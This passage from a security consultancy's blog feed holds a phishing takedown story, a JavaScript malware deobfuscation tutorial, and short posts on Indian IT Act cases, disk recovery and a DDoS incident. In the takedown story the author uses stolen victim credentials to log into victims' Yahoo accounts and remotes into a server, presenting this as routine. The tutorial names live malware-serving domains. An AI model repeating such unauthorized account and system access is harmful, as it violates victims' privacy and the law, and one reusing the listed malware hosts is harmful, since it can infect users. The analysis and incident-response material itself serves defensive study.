<p>I then enter some fake details on this page and press the Enter key. I am now redirected to another page called &#8216;accounts.php&#8217; on the same domain. I quickly check the html source code (view source) of the page to check for the</p>
<form> tag. This is where I would see where the page is going on hitting &#8216;submit&#8217;. I am now redirected to another page hosted on a hacked domain called hxxp://stirileprotv.fnhost.org/bi/ib.php</p>
<p><img src="http://niiconsulting.com/checkmate/wp-content/uploads/2009/11/2009-11-04_151925.jpg" alt="" /></p>
<p>I go a level up in the URL hxxp://200.119.X.X/retail/login.php and now I see the directory listing. I see 2 files under the retail folder namely &#8216;login.php&#8217; and &#8216;accounts.php&#8217;. Directory Listing has been common in all my takedowns. They don’t really care for the directory listings. What I also observed, at the bottom of the &#8216;account.php&#8217; page is more interesting. The page is has an IFRAME with src pointing to <a href="http://statanalyze.cn/lib/index.php">http://statanalyze.cn/lib/index.php</a>. This is some malware getting downloaded on victim system. </p>
<p><img src="http://niiconsulting.com/checkmate/wp-content/uploads/2009/11/2009-11-04_124018_malware.jpg" alt="" /></p>
<p>My anti virus immediately pops up an alert that a malware is getting downloaded. And it immediately blocks it. Coming back to &#8216;accounts.php&#8217; it asks for my Name, email address, credit card number, ATM pin and expiration date. On entering some fake details I am now redirected to a third domain hxxp://stirileprotv.fnhost.org/bi/ib.php. And from &#8216;ib.php&#8217; it redirects me to the legitimate page of my client website. I have changed that to hxxp://www.google.com in the code snippet. Aren’t these guys sick of so many re directions? Not really they have a smart modus operandi. They don’t use one domain to complete their operation.</p>
<p>I again go a level up on the <a href="http://stirileprotv.fnhost.org/bi/ib.php">http://stirileprotv.fnhost.org/bi/ib.php</a>. What I happen to find is something even more interesting. It had a page &#8216;ib.php&#8217; under the ib folder and a .txt file. When I tried accessing the file what I find is the actual account details of the people who have fallen prey to the trick with their usernames, credit card numbers, internet banking IDs and passwords. Check file snippet below</p>
<p><img src="http://niiconsulting.com/checkmate/wp-content/uploads/2009/11/2009-11-05_113230.jpg" alt="" /> </p>
<p>I then contact the client to freeze the accounts and get in touch with the hosting providers. I make sure I ask the hosting providers to provide me with the pages as they aid to my research in understanding various modus operandi out on pr0wl. Most of the time they don’t give the pages but this time I was lucky. The tech support guys actually emailed me the contents of the ib folder. Have a look at the php code</p>
<p><img src="http://niiconsulting.com/checkmate/wp-content/uploads/2009/11/the-actual-code.jpg" alt="" /></p>
<p>Let me explain the code in brief. It opens a stream to a file called x-account-all.txt and then captures the post variables from the URL http://200.119.X.X/retail/accounts.php. The following table explains what each variable means</p>
<p><img src="http://niiconsulting.com/checkmate/wp-content/uploads/2009/11/table.jpg" alt="" /></p>
<p>I thought that was it. I was done with my research. I relaxed a bit and stretched my arms. But hold on readers I recollect that the website was also vulnerable to IFRAME injection. No more research on this malware guys I have colleagues who enjoys this. I will send this to him. Till he comes up with his analysis there are some who have already done it. Check the link below</p>
<p><a href="http://wepawet.iseclab.org/view.php?hash=363c95666cf1e80072656c7b562c4dbb&amp;type=js">http://wepawet.iseclab.org/view.php?hash=363c95666cf1e80072656c7b562c4dbb&amp;type=js</a> </p>
<p><a href="http://anubis.iseclab.org/?action=result&amp;task_id=1c109b3e2cc07d1f49168943cc884e1d2">http://anubis.iseclab.org/?action=result&amp;task_id=1c109b3e2cc07d1f49168943cc884e1d2</a></p>
<p><a href="http://www.virustotal.com/analisis/837508d65acc78ec684c0d7a907bea7f49ce223052a18a076240018fc61a0d7f-1257141946">http://www.virustotal.com/analisis/837508d65acc78ec684c0d7a907bea7f49ce223052a18a076240018fc61a0d7f-1257141946</a></p>
<p>I was still way too itchy to pull down a full stop. I picked some arbitrary entries from the file and picked the &#8216;ea&#8217; and &#8216;bb&#8217; field. Why only them? (I got this particular combination after trying out a few) I was able to login to the Yahoo accounts of the victim since the password used was the same for both the accounts. I then checked the spam box and found the email that the victim had received. There were similar emails and to my surprise I found another URL hosting the phished page. Ok guys that’s it, I need to get back to my next takedown immediately  Oh! By the way, this time it is some Windows 2003 server behind some ADSL router running the phished page on a XAMP server. I did RDP to the box, 3389 was found open. I will come back if I find something more interesting.</p>
<p>All the details in this post have being changed or rename to protect real identity of our client. </p>
<p>Adios!<br />
Taufiq Ali</p>
]]></content:encoded>
			<wfw:commentRss>http://niiconsulting.com/checkmate/2009/11/05/a-phishy-story/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Deobfuscating Javascript Malware</title>
		<link>http://niiconsulting.com/checkmate/2009/10/01/deobfuscating-javascript-malware/</link>
		<comments>http://niiconsulting.com/checkmate/2009/10/01/deobfuscating-javascript-malware/#comments</comments>
		<pubDate>Thu, 01 Oct 2009 11:20:32 +0000</pubDate>
		<dc:creator>Wasim Halani</dc:creator>
				<category><![CDATA[Case Studies]]></category>
		<category><![CDATA[Malware Analysis]]></category>
		<category><![CDATA[Research]]></category>
		<category><![CDATA[javascript deobfuscation]]></category>
		<category><![CDATA[javascript malware]]></category>

		<guid isPermaLink="false">http://niiconsulting.com/checkmate/?p=62</guid>
		<description><![CDATA[Some days back I was greeted by a Google Safe browsing warning when I tried visiting a &#8216;known&#8217; site. As I was sure it was supposed to be clean and harmless site, I thought it would be good to dig further into this problem. The trail led to interesting amounts of codes, concepts and techniques. [...]]]></description>
			<content:encoded><![CDATA[<p>Some days back I was greeted by a Google Safe browsing warning when I tried visiting a &#8216;known&#8217; site. As I was sure it was supposed to be clean and harmless site, I thought it would be good to dig further into this problem. The trail led to interesting amounts of codes, concepts and techniques.</p>
<p>Malware writers are very smart nowadays (haven&#8217;t they always been ?). They know that once their code is understood it most likely to be detected by anti-malware applications. To delay detection by such applications, they resort to a wide range of techniques. In this blog post I&#8217;ll be discussing the most potent and easily created malware.</p>
<p>Javascript has become the boon and bane of the Internet. It provides greater interactivity with the user but can also be used by malware writers to infect innocent users. Javascript is a client-side scripting technology which means the processing of the script is handled by the user&#8217;s browser.</p>
<blockquote><p><strong><em>Obfuscation is the concealment of intended meaning in communication, making communication confusing, intentionally ambiguous, and more difficult to interpret.</em></strong></p></blockquote>
<p><span id="more-62"></span></p>
<p>JavaScript is sometimes obfuscated to prevent users from easily understanding their functionality. ( Legitimate uses are to prevent stealing of code)</p>
<p>There may be many ways to obfuscate a code and similarly there may be multiple ways to de-obfuscate a code. What I&#8217;ve presented below is very raw and cannot be used to analyze many malicious JS. But since this is the beginning for me, I thought it may help others too.</p>
<p><strong>Disclaimer: Links presented below are live at the time of writing this blog post. Please do not visit them if you do not know what you are getting into.<br />
</strong></p>
<p>First thing first, we need to get the HTML source the malicious page. We can either use wget/curl or <a href="http://malzilla.sourceforge.net/">Malzilla</a>, which is what I used. It was observed that this page is dependent on the HTTP referrer. So if the domain receives a request for the page without a &#8216;valid&#8217; HTTP referrer page, the page is not returned.<br />
We get the &#8216;bad&#8217; HTML at http://mybetorwager.cn:8080/index.php with a valid HTTP referrer.</p>
<p>The complete HTML source can be viewed <a href="http://docs.google.com/View?id=dctvmpj6_28f9pwcrhd"><strong>here</strong></a> </p>
<p>The code starts off with the following in the SCRIPT tag.</p>
<blockquote><p><strong>Vhotzdq(function(p,a,c,k,e,d)</strong></p></blockquote>
<p>This section of the code shows that the javascript has been packed by the popular <a href="http://dean.edwards.name/packer/">Dean Edword JS Packer</a>. This packer is available online as well as in <a href="http://dean.edwards.name/download/#packer">download-able formats</a>. We use a GreaseMonkey script &#8220;<a href="http://userscripts.org/scripts/show/25935">Decode It!</a>&#8221; to enable the online &#8216; <em>Decoder</em>&#8216; on the webpage.<br />
</br><br />
We paste the code from Vhotzdq(function(p,a,c,k,e,d) onwards till the end and <strong>rename the function name Vhotzdq to eval</strong>. This will help us decode and evaluate the result. The output of which can be found <a href="http://docs.google.com/View?id=dctvmpj6_29hgzk3tdr"><strong>here</strong></a></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p><strong>Update</strong><em><br />
Seems like Dean Edwards had coded an UNPACKER as well. It can be accessed at <a href="http://dean.edwards.name/unpacker/">http://dean.edwards.name/unpacker/</a>. If using this tool, simply <strong>replace the Vhotzdq to eval</strong> and run the script. No additional GreaseMonkey scripts are necessary <img src='http://niiconsulting.com/checkmate/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /><br />
</em></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<div id="attachment_82" class="wp-caption alignnone" style="width: 610px"><img src="http://niiconsulting.com/checkmate/wp-content/uploads/2009/10/js_unpack_1.jpg" alt="Fig: Unpacked Javascript using Dean Edwards Packer" title="Unpacked Javascript using Dean Edwards Packer" width="600" height="178" class="size-full wp-image-82" /><p class="wp-caption-text">Fig: Unpacked Javascript using Dean Edwards Packer</p></div>
<p>As can be seen above, we need to unescape the code to get the decoded output. This can be done in multiple ways:</p>
<ul>
<li>Replace <em>Vhotzdq </em>as <em>eval</em>, and execute the script</li>
<li>Use the Malzilla decoder feature &#8220;Decode UCS2 (%u)&#8221;</li>
<li>Use an online encoder/decoder like <a href="http://www.yehg.net/encoding/">PHP Charset Encoder/PHP String Encrypter</a></li>
</ul>
<p></br><br />
<div id="attachment_83" class="wp-caption aligncenter" style="width: 610px"><img src="http://niiconsulting.com/checkmate/wp-content/uploads/2009/10/js_decoded-php-charset-1.jpg?w=600" alt="Fig: Using the &#39;unescape&#39; feature provided by PHP Charset Encoder" title="Using the &#39;unescape&#39; feature provided by PHP Charset Encoder" width="600" height="315" class="size-full wp-image-83" /><p class="wp-caption-text">Fig: Using the 'unescape' feature provided by PHP Charset Encoder</p></div></p>
<p>The decoded output of the above step can be found <a href="http://docs.google.com/View?id=dctvmpj6_30dd9nvgdk"><strong>here</strong></a></p>
<p>Now the code is in a more human readable format. To further complicate analysis, the malware authors have implemented small amounts of string manipulations on the code. Also, the variables used have been obfuscated or mangled. This will not pose a problem to us as the variables can be given any names.</p>
<blockquote><p><em>Note that there exists a certain amount of code-block which is still encoded. Another <a href="http://wepawet.iseclab.org/view.php?hash=835f950f74bbdaebab4e91a28c73d1d8&amp;t=1250389682&amp;type=js">malware analysis</a> shows this section as the Shellcode. I will update this as I get more information on how to decode it.</em></p></blockquote>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p><strong>Update</strong><em><br />
OK, it turns out that the segment was indeed the shellcode. Using the Malzilla tool we concatenate the variable &#8220;<strong>var unf57UBnT</strong>&#8221;<br />
This presents us with an encoding which seems to be UCS2. Next, we can either use Malzilla to convert UCS2 to Hex (which does not provide reliable results) or use a shellcode to EXE converter available at <a href="http://sandsprite.com/shellcode_2_exe.php">http://sandsprite.com/shellcode_2_exe.php</a>.</em><br />
</br><div id="attachment_96" class="wp-caption aligncenter" style="width: 463px"><a href="http://sandsprite.com/shellcode_2_exe.php"><img src="http://niiconsulting.com/checkmate/wp-content/uploads/2009/10/shellcode-2-exe_2.jpg" alt="Fig: ShellCode 2 EXE" title="ShellCode 2 EXE" width="453" height="518" class="size-full wp-image-96" /></a><p class="wp-caption-text">Fig: ShellCode 2 EXE</p></div><br />
</br><br />
<em>Once we obtain the EXE from the shellcode, we can analyze this executable in a tool called <a href="http://www.webwasher.de/download/fileinsight/"><strong>FileInsight </strong>developed by Mcafee Labs</a>. Below is a snapshot of FileInsight analysis output which shows the malicious URL.</em><br />
</br><br />
<div id="attachment_97" class="wp-caption aligncenter" style="width: 610px"><img src="http://niiconsulting.com/checkmate/wp-content/uploads/2009/10/fileinsight-2.jpg" alt="Fig: FileInsight - Shellcode.exe analysis" title="FileInsight - Shellcode.exe analysis" width="600" height="420" class="size-full wp-image-97" /><p class="wp-caption-text">Fig: FileInsight - Shellcode.exe analysis</p></div> </br></p>
<p><em>URLMON.DLL is a system DLL generally used by malwares to download files from online locations</em></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
The next step is to execute the &#8216;replace&#8217; functions which involve Regular Expressions to clean out the manipulated code.<br />
As an example below is the line of code that we currently have in our decoded output.</p>
<blockquote><p>rqeqG6Spq.setAttribute(&#8216;i#)@d!&#8217;.replace(/\(|\!|&amp;|\$|@|\^|\)|#/ig, &#8221;),rqeqG6Spq);</p></blockquote>
<p>Let&#8217;s take this code in detail:</p>
<table>
<tr>
<td><strong>rqeqG6Spq</strong></td>
<td>&#8211;&gt;</td>
<td>declared variable</td>
</tr>
<tr>
<td><strong>setAttribute</strong></td>
<td>&#8211;&gt;</td>
<td>the property of the variable rqeqG6Spq</td>
</tr>
<tr>
<td><strong>/\(|\!|&amp;|\$|@|\^|\)|#/ig</strong></td>
<td>&#8211;&gt;</td>
<td>Regular Expression</td>
<tr>
<td colspan="3">
(In JavaScript, to define a regex pattern, we define it between <strong>/&#8230;../</strong> .<br />
&#8216;<strong>g</strong>&#8216; indicates <em>Global Match</em> and &#8216;<strong>i</strong>&#8216; is for <em>Case-Insensitive</em> search)
</td>
<tr>
<td><strong>.replace()</strong></td>
<td>&#8211;&gt;</td>
<td>is a JavaScript string manipulation function, which runs the regex on the &#8216;object&#8217; <strong>i#)@d!</strong></td>
</tr>
</table>
<p>After executing the replace() function, the output would look like this </p>
<blockquote><p><em>rqeqG6Spq.setAttribute(&#8216;id&#8217;,rqeqG6Spq);</em></p></blockquote>
<p>Similar replace operations are performed at all other places, till we get the final output as shown <a href="http://docs.google.com/View?id=dctvmpj6_32fhwmwdfz">here</a></p>
<p><strong>NOTE: Your Anti-Malware may issue an alert when you try to visit the above link. I have modified the malicious URL a bit so the script won&#8217;t move ahead.</strong></p>
<p>We are now at a stage where we can make a few observations on what the JavaScript does and how it works.<br />
The original malicious domain is found to be <strong>http://3c8.ru:8080/welcome.php</strong> .This domain serves the malware payload.<br />
The script tries to exploit a vulnerability in ActiveX which allows it to download and execute a malicious binary.<br />
I haven&#8217;t had the chance to go deeper into the execution of the malware But once I get the time, I&#8217;ll look into analyzing the binary as well.</p>
<p>Before I end this long post, just a quick note that to automate this entire process, we can use an online tool called <strong><em><a href="http://wepawet.iseclab.org/index.php">wepawet</a></em></strong>, which is a service for detecting and analyzing web-based malware. It currently handles Flash and JavaScript files.<br />
You can find the result of the analysis of our malicious page at <a href="http://wepawet.iseclab.org/view.php?hash=07fc283602731721a97f196c3ab19092&amp;type=js">http://wepawet.iseclab.org/view.php?hash=07fc283602731721a97f196c3ab19092&amp;type=js</a><br />
It provides for a comprehensive analysis. </p>
<p>Also, do check out the VirusTotal scan results for the obfuscated and deobfuscated Javascript<br />
<a href="http://www.virustotal.com/analisis/2cd3069c412cac7b1159d20070503ee91238f1e4682a5b90b003b29a569c9291-1251527312">Obfuscated Detection rate is 2/41</a><br />
<a href="http://www.virustotal.com/analisis/218209456d7c0dc654596eab91b8cf0127dbbe1642eef9f56a3366021835d504-1251527404">De-obfuscated Detection rate is 14/41</a></p>
<p>I  guess that&#8217;s it. Hope you liked this basic tutorial. Do leave your feedback in the comments section below</p>
]]></content:encoded>
			<wfw:commentRss>http://niiconsulting.com/checkmate/2009/10/01/deobfuscating-javascript-malware/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>First conviction under IT Act</title>
		<link>http://niiconsulting.com/checkmate/2008/02/07/first-conviction-under-it-act/</link>
		<comments>http://niiconsulting.com/checkmate/2008/02/07/first-conviction-under-it-act/#comments</comments>
		<pubDate>Thu, 07 Feb 2008 17:52:31 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Case Studies]]></category>

		<guid isPermaLink="false">http://www.niiconsulting.com/checkmate/2008/02/first-conviction-under-it-act/</guid>
		<description><![CDATA[Finally, we have our first conviction under the IT Act 2000 in India. After more than a 100 cases being lodged, and about half of them actually reaching the courts, we have our first conviction of an orthopaedic surgeon in Chennai being convicted of recording and uploading pornographic images. He and his brother in the [...]]]></description>
			<content:encoded><![CDATA[<p>Finally, we have our first conviction under the IT Act 2000 in India. After more than a 100 cases being lodged, and about half of them actually reaching the courts, we have our first <a target="_blank" href="http://www.ibnlive.com/news/sex-doctor-gets-life-in-cyberporn-case/58375-3.html?xml">conviction of an orthopaedic surgeon</a> in Chennai being convicted of recording and uploading pornographic images. He and his brother in the US were found running a profitable pornographic website selling the videos and images.<br />
Other notable cases nowhere near conviction include the hacking of the Mumbai cybercrime cell, the financial defrauding of Citibank customers by its BPO Mphasis, the creation of an Orkut group criticising Shivaji which got an IT engineer in Bangalore wrongly incarcerated due to a serious goof-up by Bharti (the ISP), and others.<br />
Coming back to the original case, though, I wonder why the actions of the doc, warranted a life sentence? What is intriguing is the presence of machine gun bullets at his farmhouse &#8211; wonder where the machine gun correlating to the bullets might be? Maybe the doc was also a gun-runner in addition to being a pervert.</p>
]]></content:encoded>
			<wfw:commentRss>http://niiconsulting.com/checkmate/2008/02/07/first-conviction-under-it-act/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Indian IT Act 2000 &#8211; An Insight</title>
		<link>http://niiconsulting.com/checkmate/2007/08/21/it-act-2000-2/</link>
		<comments>http://niiconsulting.com/checkmate/2007/08/21/it-act-2000-2/#comments</comments>
		<pubDate>Tue, 21 Aug 2007 11:39:30 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Case Studies]]></category>
		<category><![CDATA[Fundamentals]]></category>

		<guid isPermaLink="false">http://www.niiconsulting.com/checkmate/2007/08/it-act-2000-2/</guid>
		<description><![CDATA[from NII Consulting The IT Act 2000 is a large repository of fine print fraught with judicial jargon and varying legal implications. To quote from the preamble of the Act, &#8220;An Act to provide legal recognition for the transactions carried our by means of electronic data interchange and other means of electronic communication, commonly referred [...]]]></description>
			<content:encoded><![CDATA[<p>from <a href="http://www.niiconsulting.com"><strong>NII Consulting</strong> </a></p>
<p>The IT Act 2000 is a large repository of fine print fraught with judicial jargon and varying legal implications.</p>
<p>To quote from the preamble of the Act,</p>
<p><em>&#8220;An Act to provide legal recognition for the transactions carried our by means of electronic data interchange and other means of electronic communication, commonly referred to as &#8220;Electronic Commerce&#8221;, which involve the use of alternatives to paper based methods of communication and storage of information , to facilitate electronic filings of documents with the Government agencies and further to amend the Indian Penal Code, Indian Evidence Act, 1872,, The Bankers&#8217; Books Evidence Act, 1891, and the Reserve Bank of India Act, 1934 and for matters connected therewith or incidental thereto.&#8221; </em></p>
<p>The full Act is available online in a neatly organized HTML format at <a target="_blank" title="IT Act 2000" href="http://www.naavi.org/importantlaws/itbill2000/index.htm">http://www.naavi.org/importantlaws/itbill2000/index.htm </a></p>
<p>To make it more comprehensible, our principal consultant, K. K. Mookhey, recently drew up a presentation to provide an overview and quick understanding of all the chapters of the IT Act.</p>
<p>This presentation is available for download at <a target="_blank" title="IT_Act_2000_NIIConsulting.ppt" href="http://www.niiconsulting.com/services/IT_Act_2000_NIIConsulting.ppt">http://www.niiconsulting.com/services/IT_Act_2000_NIIConsulting.ppt </a></p>
]]></content:encoded>
			<wfw:commentRss>http://niiconsulting.com/checkmate/2007/08/21/it-act-2000-2/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Bad Superblock, corrupt inode tables and loads of bad luck!</title>
		<link>http://niiconsulting.com/checkmate/2006/12/07/bad-superblock-corrupt-inode-tables-and-loads-of-bad-luck/</link>
		<comments>http://niiconsulting.com/checkmate/2006/12/07/bad-superblock-corrupt-inode-tables-and-loads-of-bad-luck/#comments</comments>
		<pubDate>Thu, 07 Dec 2006 15:58:06 +0000</pubDate>
		<dc:creator>Chetan Gupta</dc:creator>
				<category><![CDATA[Case Studies]]></category>
		<category><![CDATA[Disk Forensics]]></category>
		<category><![CDATA[Fundamentals]]></category>

		<guid isPermaLink="false">http://www.niiconsulting.com/checkmate/2006/12/bad-superblock-corrupt-inode-tables-and-loads-of-bad-luck/</guid>
		<description><![CDATA[by Chetan Gupta, NII Consulting Well, last week was abuzz with activity when we had to recover data from a corrupt Linux hard disk. Thought it would be pretty easy but as soon as I loaded the hard disk, I knew something was amiss. I was in for a shock as the disk had severe [...]]]></description>
			<content:encoded><![CDATA[<p>by <strong>Chetan Gupta, <a href="http://www.niiconsulting.com//">NII Consulting</a></strong></p>
<p>Well, last week was abuzz with activity when we had to recover data from a corrupt Linux hard disk. Thought it would be pretty easy but as soon as I loaded the hard disk, I knew something was amiss.<span id="more-37"></span> I was in for a shock as the disk had severe damage in the beginning sectors. Still, encase was able to load the disk but could not show the file structure! Atleast it was showing the three partitions!<br />
What do we do?<br />
Well, the first step was to image the hard disk so that If I do mess up the hard disk, I can restore it to what was there originally. So, loaded FTK imager and used it to image it the hard disk into split raw files (since raw files are easier to use with Sleuthkit and other open source tools..)<br />
I had in my mind that encase will allow me to load raw files and anlayze so I thought I was on safe grounds! Well, the raw files filled up most of my forensic disk since they amounted to about 120 Gb of space! Neways, the idea was to run disk repairing tools on the conked hard disk and side-by-side run data recovery tools on the image. Well, not all plans execute to perfection&#8230;. this one sure didn&#8217;t! As soon as I loaded the split raw image into Encase, it crashed! Sure, it has problems with large split files. Then, I said to myself, &#8220;No problem, There&#8217;s sleuth kit for me&#8221;. What was not expected was that sleuthkit did not recognise the file system on the three partitions.</p>
<p>A simple strings on the first split image showed up interesting results &#8211; most of the files were quite intact although their beginning and end hardly recognizable from the big junk of words&#8230;and I saw the last fsck log which clearly stated that both primary and secondary superblocks were corrupt! WoW!</p>
<p>Anyways I tried rebuilding the superblock and inode table but to no avail. However, after the repair operation, I could run fsstat on the third partition but again it showed up 99% of the inodes to be free! I tried using fsck and using one of the secondary superblocks but it did not help. I guess the secondary superblock structures had got corrupted too!<br />
Then I said to myself,&#8221; May be data carving is the best option in this situaton&#8221;. I concatenated the split files, and created a huge raw file so as to feed my open source data carving monsters (read foremost and scalpel)! Foremost did carve out some data but largely false hits and scalpel never got going. It would stop midway during the all-important second pass! Next step was to use all available file carving tools (from winhex to encase to FTK) and collating valid files obtained from them. It was tedious but nevertheless, I could recover a lot of files (read gif, bmp, jpeg html, and mail files).</p>
<p>Data carving could be quite frustrating if the filesystem is hugely fragmented. I would discuss data carving in some more detail in my forthcoming article.</p>
<p>Hope you enjoyed reading this one though!</p>
]]></content:encoded>
			<wfw:commentRss>http://niiconsulting.com/checkmate/2006/12/07/bad-superblock-corrupt-inode-tables-and-loads-of-bad-luck/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Game One</title>
		<link>http://niiconsulting.com/checkmate/2006/01/21/game-one/</link>
		<comments>http://niiconsulting.com/checkmate/2006/01/21/game-one/#comments</comments>
		<pubDate>Sat, 21 Jan 2006 04:07:38 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Case Studies]]></category>
		<category><![CDATA[Network Forensics]]></category>

		<guid isPermaLink="false">http://niiconsulting.com/checkmate/?p=6</guid>
		<description><![CDATA[by K. K. Mookhey, NII Consulting e4 It&#8217;s late at night, and the phone rings. This had better be a world-changing revolution. But it&#8217;s something weirder. A client in East Asia informs us that his systems are behaving most abnormally. Before one can gather one&#8217;s senses, the information begins to flow: &#8220;The primary trading systems, [...]]]></description>
			<content:encoded><![CDATA[<p>by <strong>K. K. Mookhey, <a href="http://www.niiconsulting.com">NII Consulting</a><br />
</strong></p>
<p><strong>e4</strong><br />
It&#8217;s late at night, and the phone rings. This had better be a world-changing revolution. But it&#8217;s something weirder. A client in East Asia informs us that his systems are behaving most abnormally. Before one can gather one&#8217;s senses, the information begins to flow:</p>
<blockquote><p><em>&#8220;The primary trading systems, which offer web-based trading are down&#8221;</em></p></blockquote>
<p>The panic in his voice is unmistakable. But this statement could mean many things, so we probe further.<span id="more-11"></span></p>
<p><strong>Opening</strong><br />
Have the web servers or database servers crashed? <em>No.</em></p>
<p>Are they simply not accessible over the network? <em>Yes.</em></p>
<p>Are they not accessible from the Internet, or from the internal network or both? <em>Inaccessible both ways.</em></p>
<p>Now, this client is one of the country&#8217;s largest Internet share trading portals. The stock markets have been going crazy, and transaction volumes are testing the very limits of infrastructure capacity.</p>
<p>So maybe it&#8217;s simply too many investors going for the same trades at the same time, or any other such market anomaly, which would go away on its own? <em>No. There are no IPO&#8217;s being listed today, there is no special buzz on the bourses, and the other online trading systems are doing just fine. It&#8217;s just our systems.</em></p>
<p>Hmm… looks like a Denial of Service attack or a worm out there or something absolutely weird (other than the fact that it&#8217;s 3:30 AM). Time to call in the help of some friends.</p>
<p><strong>Middlegame</strong><br />
We&#8217;ve just done a project for the primary Internet Service Provider in the country, and know the manager of their SOC (Security Operations Centre) well.</p>
<p>We call him up, and ask:<br />
Any worm traffic you&#8217;ve been seeing lately hitting ports 80 and 443? Or anything specifically targeting IIS? There was a remotely exploitable vulnerability released recently in IIS, right? He doesn&#8217;t recollect seeing any seriously anomalous traffic for these ports, or any spikes in earlier worms targeting IIS. But he hints at something more sinister being at play: cyber-extortion.</p>
<p>We call back the client, and now are surer of the information we need to know:<br />
Are the source IP&#8217;s local or largely overseas? The assumption is that if it were just a spike in trading, then it would be largely the local populace accessing the systems. We&#8217;re informed that the source IP&#8217;s are largely from Eastern Europe. Plus, they&#8217;re a very wide range of source IP addresses &#8211; the IDS is dropping packets at an alarming rate, and the firewalls are at 100% CPU utilization.</p>
<p>The panic levels are continuing to rise, as senior management is concerned about the loss in revenues due to the complete absence of trades being placed, not to mention the reputation loss that is likely to occur once the news hits the media.</p>
<p>We ask them to immediately inform their upstream ISP and block all source IP addresses, except those IP blocks allocated to the country. Our friend whom we called in earlier has also been informed to co-ordinate the activity on a war-footing.</p>
<p>Within 15 minutes the client calls back. The flood of packets has been blocked successfully at the upstream ISP, and trading is more or less back to normal. Obviously, people traveling outside the country are still not able to trade, but the DDoS attack is no longer the nightmare it could have been.</p>
<p><strong>Endgame</strong><br />
So what really happened out here? The next day we looked around for more information about the symptoms we&#8217;d seen &#8211; Distributed Denial of Service attacks targeting web servers, specifically of systems where transaction volumes are so huge, that even a few minutes of downtime results in significant losses. The most likely answer, we learnt, is cyber-extortion. We checked with the client if they had received a fax or voice communication asking them to pay up or be subjected to huge losses, or were there any serious disputes with trading partners or any other indications that someone had a grudge. So far, we&#8217;d been dealing with the IT team, but now we&#8217;re told they&#8217;re off the case, and Internal Audit has taken it up.</p>
<p><strong>Post-mortem</strong><br />
We were never really able to confirm one way or the other whether it was a case of cyber-extortion or not. It was most decidedly a Distributed Denial of Service attack targeted at the client. The fact that DdoS-based extortion threats are on the rise is becoming evident[1],[2]. We ruled out worm traffic, since that should normally have affected a larger number of web-based systems in that country, and none of the malware monitors showed any spikes in worm traffic in the region. Their servers were functioning perfectly all right, and normal trading resumed almost as soon as the upstream ISP filtered the traffic. The Internal Audit department handled the matter internally, and didn&#8217;t inform the IT team whether there really was an extortion threat, or we were simply being paranoid.</p>
<p>The key lesson here was that a well-planned incident response strategy can help prevent knee-jerk reactions when security emergencies arise. It can save millions of dollars of financial losses and control the loss to reputation that can occur even if the systems are only unavailable, not compromised. Also, the client eventually went in for <a target="_blank" href="http://www.toplayer.com">TopLayer IPS.</a></p>
<p>References</p>
<p>1. <a target="_blank" href="http://www.networkworld.com/news/2005/051605-ddos-extortion.html">http://www.networkworld.com/news/2005/051605-ddos-extortion.html</a></p>
<p>2. <a target="_blank" href="http://www.csoonline.com/read/050105/extortion.html">http://www.csoonline.com/read/050105/extortion.html</a></p>
]]></content:encoded>
			<wfw:commentRss>http://niiconsulting.com/checkmate/2006/01/21/game-one/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>

